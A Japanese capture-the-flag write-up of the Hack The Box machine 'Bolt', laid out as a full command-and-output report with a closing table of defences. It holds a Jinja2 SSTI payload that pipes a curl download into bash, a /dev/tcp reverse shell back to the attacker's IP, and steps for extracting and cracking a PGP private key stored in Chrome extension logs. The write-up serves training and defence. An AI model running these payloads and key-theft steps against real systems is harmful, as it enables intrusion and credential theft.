Hack The BoxのWriteup(Bolt)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Bolt — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443
→
Docker image解析
admin:deadbolt + 招待コード
→
demo.bolt.htb登録
プロフィール名 Jinja2 SSTI
→
mail.bolt.htb経由RCE
確認メールリンクで発火
→
passbolt.php DB資格情報
eddieへ資格情報使い回し
→
SSH
user.txt
→
Chrome拡張ログ
PGP秘密鍵 + johnでpassphrase解読
→
GPGAuthログイン
Passboltボールトからroot PW復号
→
root.txt

ポートスキャン & vhost発見

BASH
nmap -Pn -sV -sC -p 22,80,443 10.129.69.156
RESULT
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd
BASH
echo '10.129.69.156 passbolt.bolt.htb bolt.htb' | sudo tee -a /etc/hosts
ffuf -u http://bolt.htb/ -H 'Host: FUZZ.bolt.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
RESULT
demo   [Status: 302]
mail   [Status: 200]
→ demo.bolt.htb(招待コード制の登録ページ)、mail.bolt.htb(Roundcube Webmail)を追加
ℹ️
443番はPassbolt(パスワードマネージャー)、80番は「custom administration web application」を 謳うマーケティングサイトで、無料の Docker image をダウンロードできる。
PHASE 2

Dockerイメージのレイヤー解析で資格情報を入手

Dockerイメージのダウンロードとレイヤー展開

BASH
curl -o image.tar http://bolt.htb/uploads/image.tar   # 154MB、意図的に低速回線
tar -xf image.tar -C extracted
cat extracted/manifest.json
⚠️
配布サーバーが帯域制限(実測 ~60〜100KB/s)をかけており、154MBの完全ダウンロードに30分以上要した。 接続切断も頻発するため、時間のかかる作業であることを見込んでおく必要がある。

各レイヤーの差分を確認し削除済みファイルを発見

BASH
# dive(レイヤー可視化ツール)でイメージを走査
dive docker-archive://image.tar
# 各レイヤーディレクトリの layer.tar を個別に展開し、削除(whiteout)されたファイルを比較
RESULT
レイヤー a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 に
  db.sqlite3(後続レイヤーで削除済み)を発見

$ sqlite3 db.sqlite3
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
BASH
hashcat -m 500 -a 0 hash /usr/share/wordlists/rockyou.txt
RESULT
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt
bolt.htb 管理画面 資格情報
admin : deadbolt

別レイヤーからFlaskソースの招待コードを回収

BASH
cd 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
tar -xf layer.tar
cat app/base/routes.py
RESULT(抜粋)
code = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
    return render_template('code-500.html')
demo.bolt.htb 登録用 招待コード
XNSS-HSJW-3NGU-8XTJ
ℹ️
Dockerイメージは配布用の静的アセットであり、admin パスワードと招待コードはインスタンスに依らず固定値。 実機でも curl -X POST http://bolt.htb/login -d "username=admin&password=deadbolt" で即座にログイン成功(302 → /admin/home)することを確認した。
PHASE 3

demo.bolt.htb登録 → プロフィール更新機能のJinja2 SSTI

招待コードで登録し、demo/mailへログイン

BASH
curl -X POST -H 'Host: demo.bolt.htb' http://10.129.69.156/register \
  --data-urlencode "username=pentester1" \
  --data-urlencode "email=pentester1@bolt.htb" \
  --data-urlencode "password=P3ntest!2026" \
  --data-urlencode "invite_code=XNSS-HSJW-3NGU-8XTJ" --data-urlencode "register=1"
RESULT
HTTP/1.1 302 FOUND
Location: http://demo.bolt.htb/login

同じ資格情報が mail.bolt.htb(Roundcube)にもそのまま通用する。

プロフィール名更新のSSTI検証

NOTE
routes.py の confirm_changes() は以下のように実装されている:

    template = open('templates/emails/update-name.html', 'r').read()
    msg.html = render_template_string(template % name)

name が文字列フォーマット経由でテンプレート文字列に直接埋め込まれるため、
Jinja2のSSTI(サーバーサイドテンプレートインジェクション)が成立する。
BASH
curl -X POST -b democookies.txt -H 'Host: demo.bolt.htb' http://10.129.69.156/admin/profile \
  --data-urlencode "name={{ 7*7 }}" --data-urlencode "experience=x" --data-urlencode "skills=x"
# mail.bolt.htb の受信箱から確認メールのリンクを取得しアクセス
RESULT(確認メール本文)
49
This e-mail serves as confirmation of your profile username changes.
✅
7*7 が 49 と評価され、SSTIを確認。

RCEペイロードでリバースシェル取得

PAYLOAD
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(
   'curl 10.10.15.200:8000|bash'
).read() }}
BASH
# リスナー準備
echo "bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1'" > www/index.html
python3 -m http.server 8000 &
nc -lvnp 4444 &

# 上記ペイロードを name にセットし、確認メールのリンクへアクセス(=サーバー側で実行)
curl -X POST -b democookies.txt -H 'Host: demo.bolt.htb' http://10.129.69.156/admin/profile \
  --data-urlencode "name=<SSTIペイロード>" --data-urlencode "experience=x" --data-urlencode "skills=x"
curl -H 'Host: demo.bolt.htb' "http://10.129.69.156/confirm/changes/<token>"
RESULT
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.69.156] 58054
www-data@bolt:~/demo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE獲得成功。 確認メールのリンクを踏むタイミングでサーバー側の os.popen()が実行され、www-dataのシェルを得た。
PHASE 4

passbolt.php のDB資格情報を横展開してuser.txt

Passbolt設定ファイルの読み取り

BASH
www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
RESULT(抜粋)
'Datasources' => [
    'default' => [
        'host' => 'localhost',
        'username' => 'passbolt',
        'password' => 'rT2;jW7<eY8!dX8}pQ8%',
        'database' => 'passboltdb',
    ],
],

資格情報スプレー → eddieへSSH

BASH
sshpass -p 'rT2;jW7<eY8!dX8}pQ8%' ssh eddie@10.129.69.156 "id; hostname; cat ~/user.txt"
RESULT
uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
bolt.htb
37535b4fc6034d4ee0f63d097c7435c0
✅
Passbolt用DBパスワードがLinuxユーザーeddieのSSHパスワードとしても再利用されていた。
user.txt — eddie
37535b4fc6034d4ee0f63d097c7435c0
PHASE 5

Chrome拡張ログからPassbolt用PGP秘密鍵を窃取

/var/mail のヒントとGoogle Chromeの存在確認

BASH
eddie@bolt:~$ cat /var/mail/eddie
RESULT
From clark@bolt.htb
Subject: Important!

Hey Eddie,
The password management server is up and running. ...
Be sure to back up your private key because I CANNOT recover it.
...
-Clark
ℹ️
Passboltのブラウザ拡張機能(Firefox/Chrome)は、初回セットアップ時にユーザーのPGP秘密鍵を ローカルストレージに保持する。ChromeのLocal Extension Settings配下のLevelDBログファイルに 平文(JSON文字列としてエスケープされた状態)で残っていることがある。

拡張機能ログから秘密鍵を抽出

BASH
eddie@bolt:~$ grep -lr 'PRIVATE KEY' ~/.config/google-chrome/Default/'Local Extension Settings'/
eddie@bolt:~$ strings '.../didegimhafipceonhjepacocaffmoppf/000003.log' | grep -o '"passbolt-private-gpgkeys".*END PGP PRIVATE KEY BLOCK-----'
RESULT(抜粋、\r\nはリテラルの2〜4文字エスケープ)
{"...,"passbolt-private-gpgkeys":"{\"MY_KEY_ID\":{\"key\":\"-----BEGIN PGP PRIVATE KEY BLOCK-----\\r\\n
Version: OpenPGP.js v4.10.9\\r\\n...\\r\\n-----END PGP PRIVATE KEY BLOCK-----\"...
⚠️
JSON内の改行は\r\nとしてエスケープされているが、LevelDBの再シリアライズにより 1重(\r\n)または2重(\\r\\n)のいずれかで出現しうる。 両パターンに対応した置換処理を行わないと鍵の復元に失敗する(本検証で実際に踏んだ落とし穴)。

gpg2john + rockyouでパスフレーズをクラック

BASH
gpg2john eddie_priv.asc > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
RESULT
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
merrychristmas   (Eddie Johnson)
1g 0:00:01:02 DONE
Eddie の PGP 秘密鍵パスフレーズ
merrychristmas
PHASE 6

GPGAuthログイン → Passboltボールトからroot取得

鍵をインポートしGPGAuthハンドシェイクを手動実行

NOTE
Passboltは「秘密鍵の紛失時リカバリ」フローをUI上で提供するが、実際には
eddieの鍵はサーバー側の登録情報と一致したままなので、通常のGPGAuth
チャレンジレスポンス認証がそのまま成立する(ブラウザ拡張機能なしでも
curl + gpg で手動再現可能)。

  stage0: POST /auth/login.json {"gpg_auth":{"keyid":"<fingerprint>"}}
          → レスポンスヘッダ X-GPGAuth-User-Auth-Token に暗号化チャレンジ
  decrypt: gpg --decrypt でチャレンジを復号 → 平文トークンを取得
  stage2: POST /auth/login.json {"gpg_auth":{"keyid":..,"user_token_result":"<平文>"}}
          → X-GPGAuth-Authenticated: true でログイン完了
BASH
gpg --batch --yes --passphrase "merrychristmas" --import eddie_priv.asc
FP=DF426BC7A4A8AF58E50EDA0E1C2741A3DC3B4ABD

curl -sk -c cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
  https://passbolt.bolt.htb/auth/login
csrf=$(grep csrfToken cookies.txt | awk '{print $NF}')

curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
  -X POST https://passbolt.bolt.htb/auth/login.json \
  -H "Content-Type: application/json" -H "X-CSRF-Token: $csrf" \
  -d "{\"gpg_auth\":{\"keyid\":\"$FP\"}}" -D headers1.txt
RESULT
x-gpgauth-progress: stage1
x-gpgauth-user-auth-token: -----BEGIN+PGP+MESSAGE-----%0A...(URLエンコード済み暗号文)

チャレンジを復号し、stage2でログイン完了

BASH
# ヘッダ値をURLデコードし、PGPメッセージとして復号
TOKEN=$(gpg --batch --pinentry-mode loopback --passphrase "merrychristmas" --decrypt challenge.asc)
echo $TOKEN
# → gpgauthv1.3.0|36|c2e6695a-a14b-41bb-a4f7-a92aa50f47a1|gpgauthv1.3.0

curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
  -X POST https://passbolt.bolt.htb/auth/login.json \
  -H "Content-Type: application/json" -H "X-CSRF-Token: $csrf" \
  -d "{\"gpg_auth\":{\"keyid\":\"$FP\",\"user_token_result\":\"$TOKEN\"}}" -D headers2.txt
RESULT
x-gpgauth-authenticated: true
x-gpgauth-progress: complete
✅
Passboltへのログインに成功。以降 Cookie セッションでAPIを叩ける。

パスワード一覧からrootリソースを取得・復号

BASH
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
  https://passbolt.bolt.htb/resources.json
RESULT
{"id":"cd0270db-c83f-4f44-b7ac-76609b397746","name":"passbolt.bolt.htb","username":"root", ...}
BASH
curl -sk -b cookies.txt --resolve passbolt.bolt.htb:443:10.129.69.156 \
  https://passbolt.bolt.htb/secrets/resource/cd0270db-c83f-4f44-b7ac-76609b397746.json
# body.data の PGPメッセージを保存して復号
gpg --batch --pinentry-mode loopback --passphrase "merrychristmas" --decrypt secret.asc
RESULT
gpg: "Eddie Johnson <eddie@bolt.htb>"からの正しい署名
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}

su – root で root.txt取得

NOTE
suはパスワード入力に実端末(PTY)を要求するため、単純なパイプ入力では
失敗する。pexpectでSSHセッション自体を対話的に制御する必要がある。
PYTHON (pexpect)
import pexpect
c = pexpect.spawn("ssh eddie@10.129.69.156", encoding='utf-8')
c.expect(r'\$\s*$')
c.sendline('su - root')
c.expect('Password:')
c.sendline('Z(2rmxsNW(Z?3=p/9s')
c.expect(r'#\s*$')
c.sendline('id; cat /root/root.txt')
c.expect(r'#\s*$')
print(c.before)
RESULT
root@bolt:~# id; cat /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
b4f5f6636b81f3a2ad73cd24f6550cfd
root.txt
b4f5f6636b81f3a2ad73cd24f6550cfd
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — eddie
37535b4fc6034d4ee0f63d097c7435c0
root.txt — root
b4f5f6636b81f3a2ad73cd24f6550cfd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
配布用Dockerイメージへの機密情報混入 公開Dockerイメージの削除済みレイヤー 管理者資格情報・招待コードの漏洩 Medium 各レイヤーのtarを個別展開し、後続レイヤーで削除されたdb.sqlite3/routes.pyを復元
Jinja2 SSTI demo.bolt.htb プロフィール更新機能 (render_template_string(template % name)) www-dataとしてのRCE Critical self._TemplateReference__context.cycler.__init__.__globals__.os.popen()でOSコマンド実行
資格情報の使い回し Passbolt MySQL パスワード ↔ eddie のUnixパスワード 横方向のユーザーピボット Medium アプリ設定ファイルに残る資格情報がそのままSSHパスワードとして通用
ブラウザ拡張ローカルストレージへの秘密鍵平文残留 Chrome拡張機能 Local Extension Settings (LevelDBログ) Passbolt秘密鍵の窃取 High ログファイルに残ったJSON文字列からPGP秘密鍵ブロックを復元しjohnでパスフレーズを解読
パスワード保管庫への到達 Passbolt(GPGAuthで保護された共有シークレット) rootパスワードの窃取 High 窃取した正規ユーザーの秘密鍵でGPGAuthチャレンジレスポンスを通過し、共有されたroot認証情報を復号

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap、ffuf vhost列挙22/80/443、demo/mail.bolt.htb発見
2資格情報入手Dockerイメージのレイヤー差分解析admin:deadbolt、招待コード
3RCEJinja2 SSTI(プロフィール更新→確認メール発火)www-dataシェル
4横展開passbolt.php DB資格情報の使い回しuser.txt(eddie)
5秘密鍵窃取Chrome拡張ログ + gpg2john/johnPGP秘密鍵 + パスフレーズ”merrychristmas”
6権限昇格GPGAuthログイン→Passboltボールト復号→suroot.txt

学んだ教訓 & 防御策

問題点防御策
配布用Dockerイメージの過去レイヤーに機密ファイルが残存 マルチステージビルドを徹底し、機密データは最終イメージは元よりビルド用中間レイヤーにも一切含めない。公開前に dive 等でレイヤー監査する
ユーザー入力を文字列フォーマットでテンプレートに直接埋め込み(SSTI) テンプレートへの動的埋め込みを避け、render_template()にコンテキスト変数として渡す。Jinja2のサンドボックス化(SandboxedEnvironment)を検討する
アプリケーションのDBパスワードをOSユーザーパスワードとして使い回し サービスごとに独立した資格情報を発行し、使い回しを禁止するポリシーを徹底する
パスワードマネージャーのブラウザ拡張が秘密鍵をローカルストレージに平文で保持 秘密鍵はOSキーチェーン等の保護されたストレージにのみ保存し、拡張機能のログ/デバッグ出力を無効化する。共有端末での利用を避ける
紛失した秘密鍵の「バックアップ」があれば誰でもアカウントを完全に復元できてしまう 秘密鍵の物理的保管を利用者教育で徹底し、加えて多要素(例: サーバー側でのデバイス確認)を要求する運用にする
HackTheBox: Bolt | 完全攻略レポート